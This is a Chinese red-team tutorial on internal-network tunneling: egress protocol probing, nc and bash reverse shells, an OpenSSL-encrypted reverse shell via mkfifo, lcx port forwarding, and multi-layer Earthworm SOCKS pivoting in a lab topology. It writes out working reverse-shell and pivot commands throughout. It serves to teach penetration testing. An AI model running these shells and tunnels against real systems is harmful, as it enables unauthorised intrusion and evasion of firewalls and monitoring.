一.隧道穿透技术详解
从技术层面来讲,隧道是一种通过互联网的基础设施在网络之间传递数据的方式,其中包括数据封装、传输和解包在内的全过程,使用隧道传递的数据(或负载)可以使用不同协议的数据帧或包。
假设我们获取到一台内网主机的权限,并希望将这台主机作为跳板,通过外网主机访问到内网进行后续渗透利用,而在这个过程中我们可能会碰到一些阻碍,比如防火墙、入侵检测系统等,这些安全防护措施不允许有异常端口对外发起通信连接,此时便无法通过在这台受控主机上开启单独的端口来与外界连接通信,但是我们可以寻找防火墙等防护设备允许与外界通讯的端口,将数据包混杂在正常流量中,通过正常端口发送到外网攻击机来实现绕过防火墙的目的,这种技术就叫做内网隧道穿透技术,而这个数据包在传输过程中所经历的逻辑路径就叫做隧道。
接下来学习隧道技术前需要了解一些专业性术语名词,例如正向连接、反向连接、端口转发等,下述将介绍一些常见的专业术语,便于后续我们深入学习。
1.正向连接
如图1-1所示,正向连接是指本地主机向目标主机的Web服务发起访问请求,目标主机收到请求后两者互相建立通信连接的过程,在实际应用场景中,正向连接这种方式常用于目标主机不出网或者目标有公网IP地址且没有防火墙的情况,可以利用Web正向连接去搭建代理隧道。
图1-1 正向连接
2.反向连接
如图1-2所示,反向连接是指假设当我们获取目标服务器权限后,使其主动发起请求去访问攻击者所使用具有公网IP的主机,从而建立两者之间的连接,可以互相访问通信。反向连接和正向连接恰好相反,在实际应用场景中,反向连接这种方式常用于目标主机出网的情况。
图1-2 反向连接
3.端口转发
端口转发(Port forwarding)是指将某一个端口接收到的流量转发到另外一个本地端口或者其他网络端口上的过程,在红蓝对抗过程中,红队人员会根据实际的目标网络状况来去选择端口转发的利用方式,如图1-3所示,假设在红蓝对抗中,红队人员获取到Web服务器的权限,通过信息收集的方式发现Web服务器具有双网卡,并且可以和内网靶机主机之间进行通信,如果我们想要使攻击机能通过RDP远程的方式远程到内网靶机,我们可以通过端口转发方式将内网靶机的3389端口转发到Web服务器的80端口上,攻击机再通过访问Web服务器的80端口直接访问到内网靶机3389端口RDP服务,以此达到通讯的目的。
图1-3 端口转发
4.端口复用
端口复用指在目标主机某个占用服务的端口上建立了多个通讯连接,而不是指在一个端口上面开放了多个服务,端口服务和通讯连接可以同时存在互不干扰。
假设服务器上的80端口开放Apache服务,如果继续在80端口再指定添加某项服务,它会有两种可能,添加服务失败或Apache服务出错,而使用端口复用的方法可通过在80端口建立通讯连接绕过防火墙端口限制,因为防火墙两端的数据包封装在它所允许通过的数据包类型或是端口上(这里指80端口),然后穿过防火墙与处在防火墙后面的主机进行通讯,当封装的数据包到达目的地时,再将数据包还原,并将还原后的数据包交送到相应的服务上。
5.内网穿透
由于内网IP地址无法直接通过互联网的方式进行访问,但在实际场景中我们又希望我们部署在内网的服务可以通过互联网的方式进行访问,这时我们就可以利用“内网穿透”的方式来将计算机的内部IP转化为公网IP,在互联网侧直接访问内网主机中的服务,像这种方式我们称之为“内网穿透”。
6.代理和隧道的区别
代理它是指一种特殊的网络服务,它允许一个网络终端通过代理服务与另一个网络终端进行非直接的连接,它扮演了位于服务器和客户端的“中间人”,攻击者可以通过受控主机设置代理服务,去访问目标内网中其他主机的服务。
隧道主要就是为了解决数据包无法传输,隧道技术一般用来绕过一些安全设备的监控,例如防火墙过滤,网络连接通讯,数据回链封装等,如果安全防护设备对我们发送的流量进行拦截,我们就可以使用隧道技术来绕过拦截,隧道技术就是使用不同的协议技术来建立通讯连接,当然,在隧道中也是包含了一些关于代理的技术。
7.常见隧道转发场景
在真实的内网环境中,企业单位或其他组织为了保护资产安全,通常会为主机,服务器做安全防护策略限制,在攻防对抗当中,作为红队人员需要根据内网的实际场景来去判断如何绕过安全防护策略限制来进行隧道穿透,如下笔者列出了在内网中常见的隧道转发场景,如表1-1所示。
表 1-1 常见隧道转发场景
转发场景 | 具体描述 |
---|---|
目标处于网络边界 | 内外网都可以访问、网络边界主机未安装防火墙所有端口都对互联网开放 |
目标处于内网 | 允许特定的应用层协议出网(比如HTTP、SSH、DNS等应用层协议)(3389、22、445、53、80、443等) ; |
目标处于内网,不能访问外网 | 可以访问边界主机,防火墙策略限制外部网络直接访问内网的敏感端(3389、22、445等)。 |
8.常见隧道穿透分类
通过上述了解到隧道是通过互联网的基础设施在网络之间进行传递数据的方式,从计算机OSI 七层模型来讲隧道穿透技术主要应用在应用层,传输层,网络层这三层,每一层常见的隧道利用方式及隧道类型如表1-2所示。
表 1-2 常见隧道利用方式及隧道类型
隧道方式 | 隧道类型 |
---|---|
应用层隧道 | SSH隧道,HTTP隧道,HTTPS隧道,DNS隧道 |
传输层隧道 | TCP隧道,UDP隧道 |
网络层隧道 | IPv6隧道,ICMP隧道,GRE隧道 |
二. 内网探测协议出网
当红队人员在进行内网渗透时,经常会遇到目标主机不出网的场景,而主机不出网的原因有很多,常见的原因例如目标主机未设置网关,被防火墙或者其他防护设备拦截设置了出入站策略,只允许特定协议或端口出网等。当我们遇到这种情况时,可以通过本章节中所讲到的方法,利用各种包含该协议的方式探测目标主机允许哪些协议出网,根据探测到的协议信息进行隧道穿透。在已经获取到目标系统的权限前提下,可以通过下述所讲到的各种协议探测手段来进行探测是否出网。
(一)TCP/UDP协议探测出网
在对目标服务器进行TCP/UDP协议探测出网前,需要满足前文中所提到的已经获取目标管理权限的前提下进行本次实验。本次实验环境拓扑如图1-1所示。
图1-1 TCP/UDP协议探测出网实验拓扑
1.NC工具探测TCP协议出网
1)根据图1-1所描述的实验拓扑环境中,使用nc工具和Telnet命令来探测TCP协议是否出网,首先介绍一下Netcat(NC)这款工具,它是一款比较简单并且非常有用的工具,既支持通过TCP和UDP在网络连接中读写数据,也是一个稳定的后门工具,支持其它程序和脚本驱动,同时它还是一个功能强大的网络调试和探测工具,可以建立使用中所需要的几乎所有类型的网络连接,若要利用NC工具来探测TCP协议是否出网,首先我们先使用NC工具在目标服务器中执行nc.exe -lvp 8888"命令来监听目标服务器的8888端口,如图1-2所示。在使用nc开启监听执行连接的过程中,会发起TCP请求和响应时,同时也会产生数据包,通过在本地主机中使用Wireshark流量分析软件来抓取发起连接过程的数据包,后续通过抓取到的数据包来查看TCP三次握手连接过程。
图1-2 使用NC工具开启服务端监听
2)在Windows 10主机中使用nc工具连接目标服务器8888端口,检测其是否出网。执行nc.exe -nv 8.130.xxx.xxx 8888"命令,发现成功连接,显示open开启端口状态,可证明目标服务器TCP协议出网,如图1-3所示。
图1-3 客户端连接成功
3)在使用nc工具连接探测到出网成功的同时,在本地主机中可以看到从wireshark软件中抓取的数据包,分析本地主机和目标服务器TCP协议建立连接的过程,在过滤栏使用"tcp.port == 8888",过滤TCP端口,即可看到TCP三次握手成功的情况,如图1-4所示。
图1-4 TCP三次握手过程
2.Telnet命令探测TCP协议出网
1)使用Telnet命令来探测目标服务器是否出网,首先需要在目标服务器使用nc工具开启监听8888端口,执行命令nc.exe -lvp 8888,成功开启目标服务器监听,如图1-5所示。
图1-5 nc开启服务端监听
2)当开启监听后,在本地主机中使用Telnet命令连接到目标服务器。执行telnet 8.130.xx.xx 8888命令,如图1-6所示则证明连接成功,即代表允许TCP出网。
图1-7 Telnet客户端连接成功
3.UDP协议探测出网
1)探测目标服务器UDP协议是否出网前,需要上传nc到目标服务器,在目标服务器上执行nc.exe -ulvp 8888"命令来开启目标服务器监听, 如图1-8所示,其中-u参数是指nc使用udp协议进行数据传输(nc默认使用tcp)。
图1-8 nc使用Udp协议开启服务端监听
2)由于UDP是无连接传输协议,发送端和接收端之间没有握手,每个UDP报文段都会被单独处理,在Windows 10主机中启动wireshark流量分析软件,抓取本地流量包,开启监听后在Windows 10主机利用nc工具发起连接。执行nc.exe -uv 8.130.xx.xx 8888"命令,测试返回响应后,发现显示open,连接成功,如图1-9所示。
图1-9 nc客户端使用udp协议连接成功
3)通过在本地Wireshark流量分析软件抓取到的UDP数据包,可以看出本机和目标服务器通过UDP协议进行通讯,证实UDP协议出网,如图1-10所示。
图1-10 wireshark捕获Udp数据包
(二)HTTP/HTTPS协议探测出网
对目标服务器探测Http/Https协议是否出网时,要根据目标系统类型去执行命令,不同类型的操作系统,使用的探测方式也不同,例如在Windows操作系统中可以使用自带的bitsadmin、certutil等命令来对Http或Https进行出网探测,linux操作系统可以使用自带的curl、wget等命令进行出网探测。下面以不同类型操作系统自带的命令为案例,来进行探测http/https出网探测。
1.Windows系统探测HTTP/HTTPS出网
(1) Bitsadmin 命令
Bitsadmin命令在Windows操作系统是用于创建、下载或上传作业,并监视作业进度的命令行工具。可通过该命令行工具测试能否从网站下载文件,以此来检测http或https是否出网,下面我们以百度官网的robots.txt为例进行演示,使用Bitsadmin命令下载百度官网目录下的robots.txt文件,并保存到本地C盘下的robots.txt中。
执行bitsadmin /rawreturn /transfer down "https://www.baidu.com/robots.txt" c:\robots.txt"命令,此时已成功下载robots.txt文件到C盘目录下。然后通过"type C:\robots.txt "命令读取查看,验证其存在,如若正常则证明探测出网成功,如图1-11所示。
图1-11 Bitsadmin命令探测出网成功
(2)Certuil 命令
Certuil命令是windows操作系统中的一款下载文件的命令行工具,可作为证书服务的安装,用来转储和显示证书颁发机构 (CA) 配置信息,配置证书服务,备份和还原CA组件,以及验证证书、密钥对和证书链。
下面我们还是以百度网站下的的robots.txt文件为案例,使用Certuil命令执行certutil -urlcache -split -f https://www.baidu.com/robots.txt c:\robots.txt"将百度网站下的robots.txt文件保存到本地C盘目录下,通过验证发现robots.txt文件存在,则证明http/https协议出网,如图1-12所示。
图1-12 certuil命令探测出网成功
2.Linux系统探测HTTP/HTTPS出网
(1)Curl命令
Curl是Linux自带的命令行工具,用于传输来自服务器或者到服务器的数据,可支持的协议有很多,Curl测试出网时使用命令很简单,只需要curl验证的url即可。
以百度网站为案例,执行curl http://www.baidu.com"命令成功,显示下述HTML前端代码,证明http/https协议出网,如图1-13所示。
图1-13 curl命令探测出网成功
(2)Wget命令
Wget是Linux下一款命令行下载工具,支持http和ftp协议,支持多种下载模式,一般用于批量下载文件。
在Linux中使用Wget探测出网,使用方法同前文演示一样,使用wget工具执行wget http://www.baidu.com/robots.txt命令下载百度根目录的robots.txt文件,探测协议出网成功,如图1-14所示。
图1-14 wget命令探测出网成功
(三)ICMP协议探测出网
ICMP(Internet Control Message Protocol)是一种面向无连接的协议,属于网络层的协议,用于检测网络通信故障和实现链路追踪。当我们需要判断探测ICMP协议是否出网时,可通过Ping和Tracert命令进行探测,下面以这两个命令为案例进行演示。
1.Windows系统探测ICMP协议出网
(1)Ping命令
Ping命令想必是大家最熟悉的命令了,Ping命令经常用于测试网络连通性,由于该命令是基于ICMP协议来实现的,因此Ping是ICMP出网测试中最常用的命令,执行ping baidu.com,可以看到如图1-15所示的返回信息,即证明ICMP协议出网探测成功。
图1-15 Ping 命令探测出网成功
(2)Tracert 命令
Tracert命令是Windows中用来跟踪路由的命令,它依靠ICMP协议实现,在ICMP出网测试中只需要使用Tracert命令跟踪下目标地址即可,以百度为案例,执行tracert baidu.com命令,获得如图1-16所示的返回信息,即证明出网成功。
图1-16 Tracert命令探测出网成功
2.Linux系统探测ICMP协议出网
在Linux系统中探测ICMP协议出网通常可以使用ping命令,同上述Windows系统操作实验类似,但linux系统需要使用-c来指定次数,Windows系统下ping 命令执行第4次后会自动停止,linux系统则不会自动停止。执行ping -c 4 baidu.com命令,通过图1-17所示的结果证明探测出网成功。
图1-17 Ping命令探测出网成功
(四)DNS协议探测出网
DNS(Domain Name System)即域名解析系统,可将域名解析到对应访问IP。下面我们还是以系统自带命令为案例,进行演示DNS协议探测出网。
1.Windows系统探测DNS协议出网
在Windows系统中测试DNS协议出网可使用Nslookup命令。这是一种网络管理命令行工具,可以用来查询DNS域名和IP解析。nslookup有两种工作模式,交互式和非交互式,这里使用非交互式即可。执行nslookup baidu.com"命令,返回响应结果,证明出网成功,如图1-18所示。
图1-18 Nslookup命令探测出网
2.Linux系统探测DNS协议出网
(1)Dig命令
Dig命令在Linux操作系统中用于询问DNS,域名服务器的查询工具可以查询DNS协议下的NS记录、A记录、MX记录相关信息。执行dig @8.8.8.8 www.baidu.com命令,这里指定DNS服务器,8.8.8.8是Google的DNS服务器。返回响应结果,证明出网成功,如图1-19所示。
图1-19 Dig命令探测出网成功
(2)Nslookup命令
Linux系统中同样也可以使用nslookup命令对系统进行DNS协议探测出网。方法同Windows系统一样,执行nslookup baidu.com命令,执行后通过返回的响应结果证明出网成功,如图1-20所示。
图1-20 nslookup命令探测出网成功
(五)内网探测协议出网总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从多维度分析隧道隐蔽技术的划分及对隧道技术整体来讲解,其中包含基础知识概括和相关隧道工具的利用方式及隧道隐蔽技术的检测防护方法,并且通过大量的案例来演示了多个实际常见的隧道场景,比如我们通过拿到系统权限后利用多个协议实现隧道穿透、端口转发、内网穿透,总之,希望本篇内容对读者有所帮助。
三. 内网常规隧道利用方法
(一)常规反弹
假设在内网环境中发现主机,通过漏洞获取到该主机控制权限,想要进一步对内网环境进行后续利用,这里可以通过反弹shell的方式去进行穿透,本次实验以nc工具为例来演示不同系统的操作,实验拓扑如图1-1所示。
1.利用NC工具在windows系统执行反弹shell
图1-1 windows系统下实验拓扑图
(1)Windows正向连接shell
本次实验环境如图1-1所示,假设已经获取到目标服务器的系统权限,上传nc工具,使用正向连接反弹shell的方法将目标服务器的shell反弹到本地主机。
1)首先在目标服务器执行nc.exe -lvp 8888 -e cmd.exe命令监听8888端口,使用-e参数将cmd.exe程序反弹连接到此端口的服务,开启监听执行成功后如图1-2所示。
图1-2 服务器开启监听
2)目标服务器执行监听后,在本地主机执行nc.exe 192.168.0.3 8888命令去连接目标服务器nc开启监听的端口,连接成功即可获取到目标服务器的shell权限,如图1-3所示。
图1-3 windwos主机获取反弹shell
(2)Windows反向连接shell
本次实验环境如图1-1所示,在目标服务器允许出网的情况下,在本地主机上获取到目标服务器的shell权限,可以尝试使用反向连接的方法。
1)首先在本地主机中使用nc工具开启监听,执行nc.exe -lvp 8888命令,如图1-4所示。
图1-4 windows主机开启服务端监听
2)当本地主机开启监听后,在目标服务器执行nc.exe 192.168.0.2 8888 -e cmd"命令主动连接本地主机的8888端口将cmd命令反弹到目标服务器,如图1-5所示
图1-5 服务器连接主机
3)此时当目标服务器访问我们的本地8888端口时,即可执行获取到目标服务器的Shell权限,使用Ipconfig命令查看获取到的反弹shell的IP,可查看到是目标服务器,如图1-6所示。
图1-6 获取服务器反弹shell的IP
2.利用NC工具在linux执行反弹shell
图1-7 Linux系统下实验拓扑图
(1)Linux正向连接shell
假设在linux操作系统中想要获取反弹shell,其中反弹方式和上述演示的Windows操作系统不同,以两台linux服务器为例进行实验,实验环境如图1-7所示,使用正向连接shell的方式。
1)在目标服务器执行nc -lvp 8888 -e /bin/bash 命令来开启目标服务器的监听,如图1-8所示,当有应用程序访问到目标服务器的8888端口的程序时会将bash带出。
图1-8 目标服务器开启监听
2)开启目标服务器监听后,在攻击机中执行nc 192.168.0.3 8888命令来连接目标服务器,此时会获得到目标服务器反弹出来的shell,如图1-9所示。
图1-9 攻击机连接获取反弹shell
(2)利用Linux自带bash反弹Shell
1)首先在攻击机中使用nc执行nc -lvp 8888命令开启监听,执行结果如图1-10所示。
图1-10 攻击机开启监听
2)在目标服务器中执行bash -c "bash -i >& /dev/tcp/192.168.0.2/8888 0>&1命令来将shell反弹到攻击机上,其中192.168.0.2是攻击机的IP地址,8888是所监听的端口,如图1-11所示。
图1-11 目标服务器发起连接
3)此时在攻击机中,可以看到已经成功接收到目标服务器反弹的shell,如图1-12所示。
图1-12 攻击机获取反弹shell
(二)加密反弹
1.加密反弹实验环境
在实战攻防对抗中,使用常规反弹shell会有一个缺点,那就是所有通过shell传输的流量都是以明文的方式发送的,可以被安全防护设备(如IDS、IPS等)获取到通信传输的数据内容,会导致被触发告警拦截,红队人员会使用一种加密的反弹shell方式,对传输的数据内容进行混淆加密,这里我们使用OpenSSL来进行加密反弹shell,本次实验环境如图1-13所示。
图1-13 OpenSSL 反弹shell实验拓扑图
2.加密反弹操作步骤
1)首先在使用OpenSSL反弹shell之前,需要对攻击机进行配置,手动执行openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes命令生成自签名证书,其OpenSSL使用参数如表1-1所示,在生成自签名证书过程中,会提示输入证书信息,在证书信息方面可以直接按回车键不进行设置,如图1-14所示,最后会生成cert.pem和key.pem这两个文件。
表 1-1 常见使用参数
参数 | 作用 |
---|---|
-new | 表示生成一个新的证书签署要求 |
-x509 | 专用于生成CA自签证书 |
-key | 指定生成证书用到的私钥文件 |
-out FILNAME | 指定生成的证书的保存路径 |
-days | 指定证书的有效期限,单位为day,默认是365天 |
-notes | 生成的私钥文件不会被加密 |
图1-14 攻击机生成自签名证书
2)当攻击机生成自签名证书后,执行openssl s_server -quiet -key key.pem -cert cert.pem -port 8888命令,使OpenSSL监听本地攻击机的8888端口,来启动一个SSL/TLS server服务。如图1-15所示。
图1-15攻击机开启监听
3)当攻击机开启监听后,在目标服务器进行反弹 shell 操作,执行mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.2:8888 > /tmp/s; rm /tmp/s命令,即可将目标服务器的shell反弹到攻击机上,如图1-16所示。
图1-16 目标服务器执行反弹shell命令
4)执行成功后,对接收到的反弹shell使用ifconfig命令测试,如图1-17所示,可以查看到输出的IP地址为目标服务器的IP。此时我们已经通过加密反弹的方式获取到了目标服务器的shell权限。
图1-17攻击机获取反弹shell
(三)端口转发
接下来将为读者介绍最常见的lcx端口转发工具的使用场景,lcx工具是一个红队人员在内网渗透测试中最典型的端口转发工具,lcx工具可分为Windows和Linux两个版本,这里以lcx工具为例,以转发3389端口为目的演示端口转发功能。下面介绍一下本次实验环境如图1-18所示,本次实验环境表如表1-2所示。
图1-18 端口转发实验拓扑图
表1-2 端口转发实验环境表
类型 | IP配置 |
---|---|
攻击机 | 192.168.0.58 |
跳板机 | 192.168.0.25,192.168.52.110 |
靶机 | 192.168.52.143 |
本次实验是在内网靶机上开启远程桌面连接,跳板机使用lcx工具进行端口转发,在靶机和跳板机中搭建一条隧道,用攻击者电脑连接跳板机隧道端口,通过跳板机的端口,获取到内网靶机的远程桌面权限。
注意:攻击者通过防火墙允许的服务端口访问跳板机服务器,在跳板机进行设置隧道代理后访问到内网靶机。因跳板机是双网卡,可与外部主机和内网靶机通讯,所以可以通过在跳板机搭建隧道访问内网的IP。内网可以与跳板机通讯,通过与攻击者在跳板机搭建的隧道,绕过限制与攻击者进行通讯,如图1-18中的虚线所示。
1.Lcx工具正向连接
1)查看lcx工具命令帮助信息,执行lcx.exe -help命令,如图1-19所示。
图1-19 Lcx帮助信息
2)使用lcx工具的前提是,已经获取到跳板机的系统管理权限,进行上传工具后,可以使用-tran参数来进行正向转发,在跳板机上执行lcx.exe -tran 8888 192.168.52.110 3389命令,会把靶机的3389端口转发到跳板机的8888端口上,成功与靶机之间搭建一条隧道,如图1-20所示。
图1-20 跳板机执行端口转发命令
3)此时已经将靶机的3389端口转发到跳板机的8888端口上,成功搭建了一条隧道。现在我们使用kali攻击机执行rdesktop 192.168.0.25:8888命令,连接跳板机的8888端口,即可与靶机成功建立远程连接,如图1-21所示。
图1-21 攻击机执行远程桌面连接成功。
2.Lcx工具反向连接
1)反向连接和上述所讲的正向连接恰好相反,首先在跳板机上开启监听,执行lcx.exe -listen 6666 8888命令用来监听本机6666端口,并将该端口的连接映射到本机的8888端口上,如图1-22所示。
图1-22 跳板机转发本地端口
2)在靶机执行Lcx.exe -slave 192.168.0.58 6666 127.0.0.1 3389命令,将3389端口转发到跳板机的6666端口上搭建一条隧道,然后跳板机再将6666端口映射到本机的8888端口。只要能访问到跳板机的主机,均能通过跳板机的8888端口连接内网的3389端口,如图1-23所示。
图1-23 内网靶主机执行端口转发
3)在kali攻击机使用 rdesktop 192.168.0.25 8888命令来远程连接访问跳板机的8888端口,即可访问拿到靶机的3389。如图1-24所示已通过攻击机连接成功。
图1-24 攻击机连接成功
(四)Socks隧道代理
Socks是Socket Secure的缩写,其是一种工作在OSI七层模型中的第五层网络会话层协议,Socks主要的作用是代表客户端将任何协议或者任何程序产生的任何类型的流量路由到服务器上,以此来将本地和远端两个系统连接起来。
由于Socks其处于第七层和第四层模型之间,因此socks可以支持HTTP、HTTPS、FTP、SSH、FTP等多种协议,Socks从版本上来讲,又可分为socks4和socks5这两种版本,目前socks协议最新版本为socks5,socks4和socks5这两者版本最主要的区别是socks4仅支持TCP代理,不支持UDP代理以及各种验证协议,socks5不仅支持TCP/UDP代理以及各种身份验证协议的同时,还会通过身份验证建立完整的TCP 连接,并使用Secure Shell (SSH) 加密隧道的方法来中继流量,在红蓝攻防对抗中,我们经常会利用Socks5来建立通信隧道以此来访问远程核心靶标系统中的内部网络。
1. socks常见利用场景
假设在目标内网中已经获取了一台可执任意行命令权限的主机后,需要来对其主机所属的区域以及安全策略进行判断探测是否可以建立socks连接,具体的socks常见利用场景描述如表1-3所示。
表 1-3常见利用场景描述
目标位置 | 场景描述 |
---|---|
内网 | 防火墙未对出口流量及端口做任何方面的安全策略,内网中的服务器可任意访问外部网络,不受安全策略限制。 |
防火墙只配置了特定的入站规则,仅允许特定业务的端口进行访问(例如:80、443) | |
防火墙都配置了特定的出入站规则,仅开放了特定的端口(例如:80、443) |
2. socks全局代理软件
在实网攻防对战中有很多的Socks代理工具可供我们选择使用,但值得我们注意的是,我们需要结合实际的场景去选择对应的Socks代理工具,尽量使用一些没有GUI界面以及不需要依赖其他软件支撑的Socks代理工具,接下来笔者将会介绍自己在实网攻防对战中所经常使用的三款Socks代理工具。
(1)Proxifier
Proxifier是一个基于Mac / Windows 系统的网络代理软件客户端工具。如图1-25所示,Proxifier支持TCP,UDP协议,Xp,Vista,Win7,mac系统以及socks4,socks5。它为本地系统内具体的应用提供代理服务,让部分软件(网址或 IP)使用代理访问网络,而其它软件(网址或 IP)正常访问网络。
图1-25 Proxifier全局代理软件
(2)SocksCap64
Sockscap64是由Taro开发的免费代理客户端软件,如图1-26所示,可以使windows网络应用程序通过socks代理服务器开访问网络而不需要对应用程序进行任何修改,即便某些程序不支持socks代理也可以完美解决代理访问问题。Sockscap64目前只支持socks4、socks5及TCP连接。
图1-26 SocksCap64 全局代理软件
(3)Proxychains
ProxyChains是一个基于linux和其他Unix的开源代理工具,如图1-27所示,其支持http、socks4和socks5进行代理连接。它是通过一个用户定义的代理列表强制连接指定的应用程序,直接断开接收方和发送方的连接。
图1-27 Proxychains 全局代理软件
(五)内网常规隧道利用总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从多维度分析隧道隐蔽技术的划分及对隧道技术整体来讲解,其中包含基础知识概括和相关隧道工具的利用方式及隧道隐蔽技术的检测防护方法,并且通过大量的案例来演示了多个实际常见的隧道场景,比如我们通过拿到系统权限后利用多个协议实现隧道穿透、端口转发、内网穿透,总之,希望本篇内容对读者有所帮助。
四. 通过Earthworm(EW)进行隧道穿透
在进行多层网段渗透时,我们经常会遇到各种代理隧道问题,仅靠使用端口转发无法完成,可以利用Socks协议建立隧道进行连接,Socks是代理服务可以说是lcx端口转发工具的升级版,有两种协议,分别是Socks 4和Socks 5。Socks 4只支持TCP,Socks 5支持TCP/UDP,核心功能是帮助他人通过socks访问网络。在主机上配置Socks协议代理服务,访问网站时Socks充当了中间人的角色,分别与双方(B/S)进行通信,然后将获得的结果通知对方,攻击者可以通过Socks客户端连接Socks服务,进而实现跳板攻击,EW工具使用具体参数如表1-1所示。
表1-1 EW参数介绍
参数 | 作用 |
---|---|
Ssocksd | 正向代理 |
Rcsock | 反向代理客户端 |
Rssocks | 反向代理服务端 |
Lcx_slave | 一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机 |
Lcx_tran | 通过监听本地端口接收代理请求,并转发给代理提供主机 |
Lcx_listen | 通过监听本地端口接收数据,并将其转交给目标网络会连的代理提供主机 |
假设在内网渗透中发现主机,通过漏洞获取到管理权限,以Earthworm内网穿透工具为案例,通过socks协议演示连通内外网,本次实验环境如表1-1所示,实验拓扑如图1-1所示。
图1-1 通过EW进行隧道穿透
表1-1 通过EW进行隧道穿透实验环境表
主机类型 | 服务类型 | IP地址 | 区域 |
---|---|---|---|
Kali 2022 | 攻击机 | 192.168.0.58 | 外网 |
Windows server 2012 | Web服务器 | 192.168.0.25, 192.168.52.11 | DMZ区域 |
windows server 2008 | FTP 服务器 | 192.168.52.12, 192.168.1.49 | DMZ区域 |
windows 10 | PC主机 | 192.168.1.50, 192.168.2.2 | 办公区域 |
Windows server 2012 | 核心服务器 | 192.168.2.3 | 核心区域 |
(一)多层网段渗透
1.一层正向连接
1)假设拿到Web服务器的Webshell权限后,探测到无法访问外网,这时上传EW工具到Web服务器进行隧道穿透。使用EW工具的ssocksd参数做正向代理,设置Socks代理监听本地8888端口,执行命令ew_for_Win.exe -s ssocksd -l 8888,其中-s参数是指定选择参数,这里指定ssocksd做正向代理,-l参数是指定本地监听端口,如图1-2所示。
图1-2启动正向代理
2)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 192.168.0.25 8888参数来完成 proxychains代理配置,如图1-13所示。
图1-3 修改proxychains配置文件
3)当配置完 proxychains 代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接FTP服务器,如图1-4所示,通过所建立的socks协议隧道,我们可以直接远程连接到FTP服务器中。
图1-4 连接成功
2.一层反向代理
1)假设当Web服务器它允许访问外部网络的情况下,可以利用EW工具以反向代理的方式进行socks隧道穿透,在Web服务器使用EW工具执行ew_for_Win.exe -s rssocks -d 192.168.0.58 -e 6666命令,连接攻击机服务端稍后监听的6666端口,-rssocks参数指连接反向代理服务端,-d参数指向攻击机的IP,-e参数指向攻击机开启监听的端口如图1-5所示。
图1-5 跳板机执行命令
2)在攻击机上使用EW工具开启服务端监听,执行./ew_for_linux64 -s rcsocks -e 6666 -d 8888命令,监听本地6666端口,同时6666端口流量映射到8888端口。其中-s参数指定使用rcsocks反向代理的方式,-e参数在这里是指攻击机服务端开启监听端口,-d参数是将要映射的端口,如图1-6所示。
图1-6攻击机执行命令
3)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 8888参数来完成proxychains代理配置,如图1-7所示。
图1-7修改proxychains配置文件
4)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接FTP服务器,如图1-8所示,通过所建立的socks协议隧道,我们可以直接远程连接到FTP服务器中。
图1-8 一层反向连接成功
3.二层正向代理
通过上述场景实现隧道穿透,通过后续利用获取到FTP权限,接着探测到办公区域PC主机开放RDP服务3389端口,通过获取到的凭证打算对其进行连接,在这里继续通过EW工具,实现在二层内网代理中连接PC主机的远程桌面服务,但PC主机只与FTP服务器连通,可以通过FTP服务器与Web服务器之间搭建隧道,在与kali攻击机搭建隧道,进行访问。
1)假设通过上述实验获取了FTP的控制权,在FTP服务器主机上传EW工具,执行ew_for_Win.exe -s ssocksd -l 8888命令,开启监听本机8888端口,如图1-9所示。
图1-9 FTP服务器执行命令
2)在Web服务器使用EW工具,执行ew_for_Win.exe -s lcx_tran -l 7777 -f 192.168.52.12 -g 8888命令,使用Web服务器的7777端口连接FTP服务器的8888端口,在它们中间搭建一条隧道,其中-f指定FTP服务器的IP,-g指定FTP服务器监听端口,-l指定本机监听端口,此时隧道已搭建成功,如图1-10所示。
图1-10 出网边界机执行命令
3)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 192.168.0.25 7777参数来完成 proxychains代理配置,如图1-11所示。
图1-11 修改proxychains配置文件
4)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.1.50命令来连接PC主机,如图 1-12 所示,通过所建立的socsk协议隧道,我们可以直接远程连接到PC主机。
图1-12 二层正向代理连接成功
4.二层反向代理
1)假设当FTP服务器允许出网时,以反向代理为案例,演示二层反向代理如何进行隧道穿透,在FTP服务器执行ew_for_Win.exe -s ssocksd -l 8888"命令,设置监听8888端口,如图1-13所示。
图1-13 FTP服务器执行命令
2)在kali攻击机上开启本地监听,执行./ew_for_linux64 -s lcx_listen -l 8888 -e 7777命令,将稍后用于连接kali攻击机的7777端口转发到它的8888端口上。如图1-14所示。
图1-14 攻击机执行命令
3)接下来在Web服务器执行ew_for_Win.exe -s lcx_slave -d 192.168.0.58 -e 7777 -f 192.168.52.12 -g 8888命令,将FTP服务器的8888端口转发到Kali攻击机的7777监听端口,如图1-15所示。
图1-15 执行命令
4)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 8888参数来完成proxychains代理配置,如图1-16所示。
图1-16 修改proxychains配置文件
当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.1.50命令来连接PC主机,如图1-17 所示,通过所建立的socsk协议隧道,我们可以直接远程连接到PC主机。
图1-17 二层反向代理连接成功
5.三层正向代理
假设通过上述描述,利用隧道穿透获取到了办公区域的PC机权限,探测后发现核心服务器的存在于PC主机处于同一网段,通过已知的凭据,最终目标是利用上传EW工具进行隧道穿透获取到核心服务器的权限。
1)假设在内网中PC主机不允许出网,利用正向代理的方式,执行ew_for_Win.exe -s ssocksd -l 8888命令,在PC主机上设置本地监听端口为8888,如图1-18所示。
图1-18 设置本地端口监听
2)在FTP服务器执行ew_for_Win.exe -s lcx_tran 7777 -f 192.168.1.50 -g 8888命令连接PC主机设置的监听,同时将流量转发给本地的7777端口。如图1-19所示。
图1-19 设置PC主机监听
3)继续在FTP服务器另外在打开cmd命令行,执行ew_for_Win.exe -s ssocksd -l 7777, 开启监听本地7777端口,如图1-20所示。
图1-20 监听本地7777端口
